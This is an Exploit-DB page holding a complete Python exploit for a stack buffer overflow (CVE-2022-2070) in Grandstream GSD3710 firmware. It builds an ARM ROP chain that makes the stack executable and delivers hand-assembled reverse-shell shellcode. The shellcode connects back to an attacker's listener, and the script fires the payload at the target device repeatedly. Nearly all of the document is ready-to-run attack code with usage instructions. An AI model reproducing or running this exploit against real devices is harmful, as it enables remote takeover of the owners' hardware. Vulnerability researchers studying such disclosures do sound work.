
8 changes to exploits/shellcodes/ghdb Java-springboot-codebase 1.1 - Arbitrary File Read ABB Cylon Aspect Studio 3.08.03 - Binary Planting ABB Cylon Aspect 3.08.03 - Guest2Root Privilege Escalation Grandstream GSD3710 1.0.11.13 - Stack Buffer Overflow WordPress User Registration & Membership Plugin 4.1.2 - Authentication Bypass Microsoft Windows Server 2016 - Win32k Elevation of Privilege Windows 2024.15 - Unauthenticated Desktop Screenshot Capture
247 lines
No EOL
6.9 KiB
Python
Executable file
247 lines
No EOL
6.9 KiB
Python
Executable file
#!/usr/bin/env python3
|
||
|
||
# Exploit Title: Grandstream GSD3710 1.0.11.13 - Stack Buffer Overflow
|
||
# Google Dork: [if applicable]
|
||
# Date: 2025-05-23
|
||
# Exploit Author: Pepelux (user in ExploitDB)
|
||
# Vendor Homepage: https://www.grandstream.com/
|
||
# Software Link: [download link if available]
|
||
# Version: Grandstream GSD3710 - firmware:1.0.11.13 and lower
|
||
# Tested on: Linux and MacOS
|
||
# CVE: CVE-2022-2070
|
||
|
||
"""
|
||
Author: Jose Luis Verdeguer (@pepeluxx)
|
||
|
||
Required: Pwntools
|
||
|
||
Example:
|
||
|
||
Terminal 1:
|
||
$ ncat -lnvp 4444
|
||
|
||
Terminal 2:
|
||
$ python 3 CVE-2020-2070.py -ti DEVICE_IP -tp 8081 -ri LOCAL_IP -rp 4444
|
||
"""
|
||
|
||
from operator import ge
|
||
import sys
|
||
import time
|
||
from pwn import *
|
||
|
||
import argparse
|
||
|
||
|
||
def get_args():
|
||
parser = argparse.ArgumentParser(
|
||
formatter_class=lambda prog: argparse.RawDescriptionHelpFormatter(
|
||
prog, max_help_position=50))
|
||
|
||
# Add arguments
|
||
parser.add_argument('-ti', '--target_ip', type=str, required=True,
|
||
help='device IP address', dest="device_ip")
|
||
parser.add_argument('-tp', '--target_port', type=int, required=True, default=8081,
|
||
help='device port', dest="device_port")
|
||
parser.add_argument('-ri', '--reverse_ip', type=str, required=True,
|
||
help='reverse IP address', dest="reverse_ip")
|
||
parser.add_argument('-rp', '--reverse_port', type=int, required=True,
|
||
help='reverse port', dest="reverse_port")
|
||
|
||
# Array for all arguments passed to script
|
||
args = parser.parse_args()
|
||
|
||
try:
|
||
TI = args.device_ip
|
||
TP = args.device_port
|
||
RI = args.reverse_ip
|
||
RP = args.reverse_port
|
||
|
||
return TI, TP, RI, RP
|
||
except ValueError:
|
||
exit()
|
||
|
||
|
||
def check_badchars(data):
|
||
for i in range(len(data)):
|
||
if data[i] in [0x0, 0x40]:
|
||
log.warn("Badchar %s detected at %#x" % (hex(data[i]), i))
|
||
return True
|
||
return False
|
||
|
||
|
||
def get_shellcode(ip, port):
|
||
ip_bytes = socket.inet_aton(ip)
|
||
port_bytes = struct.pack(">H", port)
|
||
|
||
# Linux ARM reverse shell
|
||
|
||
# switch to thumb mode
|
||
sc = b"\x01\x30\x8F\xE2" # add r3, pc, #1
|
||
sc += b"\x13\xFF\x2F\xE1" # bx r3
|
||
|
||
# socket(2, 1, 0)
|
||
sc += b"\x02\x20" # movs r0, #2
|
||
sc += b"\x01\x21" # movs r1, #1
|
||
sc += b"\x92\x1A" # subs r2, r2, r2
|
||
sc += b"\xC8\x27" # movs r7, #0xc8
|
||
sc += b"\x51\x37" # adds r7, #0x51
|
||
sc += b"\x01\xDF" # svc #1
|
||
sc += b"\x04\x1C" # adds r4, r0, #0
|
||
|
||
# connect(r0, &sockaddr, 16)
|
||
sc += b"\x0C\xA1" # adr r1, #0x30
|
||
sc += b"\x4A\x70" # strb r2, [r1, #1]
|
||
sc += b"\x10\x22" # movs r2, #0x10
|
||
sc += b"\x02\x37" # adds r7, #2
|
||
sc += b"\x01\xDF" # svc #1
|
||
|
||
# dup2(sockfd, 0)
|
||
sc += b"\x3F\x27" # movs r7, #0x3f
|
||
sc += b"\x20\x1C" # adds r0, r4, #0
|
||
sc += b"\x49\x1A" # subs r1, r1, r1
|
||
sc += b"\x01\xDF" # svc #1
|
||
|
||
# dup2(sockfd, 1)
|
||
sc += b"\x20\x1C" # adds r0, r4, #0
|
||
sc += b"\x01\x21" # movs r1, #1
|
||
sc += b"\x01\xDF" # svc #1
|
||
|
||
# dup2(sockfd, 2)
|
||
sc += b"\x20\x1C" # adds r0, r4, #0
|
||
sc += b"\x02\x21" # movs r1, #2
|
||
sc += b"\x01\xDF" # svc #1
|
||
|
||
# execve("/bin/sh")
|
||
sc += b"\x06\xA0" # adr r0, #0x18
|
||
sc += b"\x92\x1A" # subs r2, r2, r2
|
||
sc += b"\x49\x1A" # subs r1, r1, r1
|
||
sc += b"\x01\x91" # str r1, [sp, #4]
|
||
sc += b"\x02\x91" # str r1, [sp, #8]
|
||
sc += b"\x01\x90" # str r0, [sp, #4]
|
||
sc += b"\x01\xA9" # add r1, sp, #4
|
||
sc += b"\xC2\x71" # strb r2, [r0, #7]
|
||
sc += b"\x0B\x27" # movs r7, #0xb
|
||
sc += b"\x01\xDF" # svc #1
|
||
|
||
sc += b"\x02\xFF"
|
||
sc += port_bytes
|
||
sc += ip_bytes
|
||
sc += b"/bin/shX"
|
||
|
||
return sc
|
||
|
||
|
||
def main():
|
||
ti, tp, ri, rp = get_args()
|
||
|
||
# ROP Gadgets
|
||
|
||
libc_base = 0x76ec1000
|
||
|
||
mprotect = libc_base + 0x93510+1
|
||
pop_lr = libc_base + 0x1848C # pop {r0, r4, r8, ip, lr, pc}
|
||
pop_pc = libc_base + 0xd7515 # pop {pc}
|
||
pop_r0 = libc_base + 0x00064bb0+1 # 0x00064bb0 : pop {r0, pc}
|
||
|
||
pop_r5 = libc_base + 0x00003738+1 # 0x00003738 : pop {r5, pc}
|
||
add_r1_sp = libc_base + 0x000b3c4e+1 # 0x000b3c4e : add r1, sp, #0x14 ; blx r5
|
||
# 0x0002f83c (0x0002f83d): mov r0, r1; bx lr
|
||
mov_r0_r1 = libc_base + 0x0002f83d
|
||
# 0x0006a086 (0x0006a087): pop {r1, pc}
|
||
pop_r1 = libc_base + 0x6a087
|
||
ands_r0_r1 = libc_base + 0x1feba+1 # 0x0001feba : ands r0, r1 ; bx lr
|
||
# 0x000a3a42 : movs r4, r0 ; pop {r1, pc}
|
||
mov_r4_r0 = libc_base + 0x000a3a42+1
|
||
# 0x0001fdae (0x0001fdaf): movs r1, r0; bx lr
|
||
movs_r1_r0 = libc_base + 0x0001fdaf
|
||
|
||
and_r0_f = libc_base + 0x8717e+1 # 0x0008717e : and r0, r0, #0xf ; bx lr
|
||
movs_r2_r0 = libc_base + 0x0001fc6a+1 # 0x0001fc6a : movs r2, r0 ; bx lr
|
||
mov_r0_r4 = libc_base + 0x0001f9d4+1 # 0x0001f9d4 : movs r0, r4 ; bx lr
|
||
blx_sp = libc_base + 0x46595 # 0x00046594 (0x00046595): blx sp
|
||
|
||
shellcode = get_shellcode(ri, rp)
|
||
|
||
auth_command = b"LOG/1.0 END CMD:AUTH_USERNAME @"
|
||
junk = p32(0x43434343)
|
||
|
||
payload = auth_command
|
||
payload += b"A" * 144
|
||
|
||
# The goal is that R0 -> SP
|
||
|
||
# R5 = pop {pc}
|
||
# because in the the next gadget we have a blx r5
|
||
payload += p32(pop_r5)
|
||
payload += p32(pop_pc) # R5 = pop {pc}
|
||
|
||
# R1 = SP ; BLX pop {pc}
|
||
payload += p32(add_r1_sp) # add r1, sp, #0x14 ; blx r5
|
||
|
||
# Restore LR register (because it has been updated by the last BLX gadget)
|
||
payload += p32(pop_lr) # pop {r0, r4, r8, ip, lr, pc}
|
||
payload += junk*4 # r0, r4, r8, ip
|
||
payload += p32(pop_pc) # LR = pop {pc}
|
||
|
||
# R0 = stack address
|
||
payload += p32(mov_r0_r1) # mov r0, r1; bx lr
|
||
|
||
# R1 = mask page align
|
||
payload += p32(pop_r1) # pop {r1, pc}
|
||
payload += p32(0xfffe1001)
|
||
|
||
# R0 = stack address & 0xfffe1001
|
||
payload += p32(ands_r0_r1) # ands r0, r1 ; bx lr
|
||
# R4 = R0
|
||
payload += p32(mov_r4_r0) # movs r0, r4 ; bx lr
|
||
payload += junk # r1
|
||
|
||
# mprotect params
|
||
# r0 = shellcode page aligned address
|
||
# r1 = size(ofshellcode)
|
||
# r2 = protection (0x7 – RWX)
|
||
|
||
# R2 = 0x7
|
||
payload += p32(pop_r0)
|
||
payload += p32(0x07070707)
|
||
payload += p32(and_r0_f) # R0 = 7 (RWX)
|
||
payload += p32(movs_r2_r0) # R2 (prot: 7 - RWX)
|
||
|
||
# R1 = length = 0x10101010 (avoid 0's)
|
||
payload += p32(pop_r0)
|
||
payload += p32(0x01010101)
|
||
payload += p32(movs_r1_r0) # r1 (length: 0x10101010)
|
||
|
||
# R0 = stack address 4k aligned
|
||
payload += p32(mov_r0_r4)
|
||
|
||
# mprotect(stack, 0x10101010, 0x7)
|
||
payload += p32(mprotect)
|
||
payload += p32(blx_sp) # ejecutamos en pila
|
||
payload += shellcode # shellcode
|
||
|
||
if check_badchars(payload[len(auth_command):]):
|
||
sys.exit(0)
|
||
|
||
log.info("Device IP: %s:%d" % (ti, tp))
|
||
log.info("Attacker IP: %s:%d" % (ri, rp))
|
||
log.info("Payload len: %d" % len(payload))
|
||
|
||
count = 1
|
||
|
||
while True:
|
||
try:
|
||
print('Try: %d' % count)
|
||
r = remote(ti, tp)
|
||
r.send(payload)
|
||
log.success("Payload sent!")
|
||
# r.close()
|
||
time.sleep(1)
|
||
count += 1
|
||
except:
|
||
sleep(3)
|
||
pass
|
||
|
||
|
||
if __name__ == '__main__':
|
||
main() |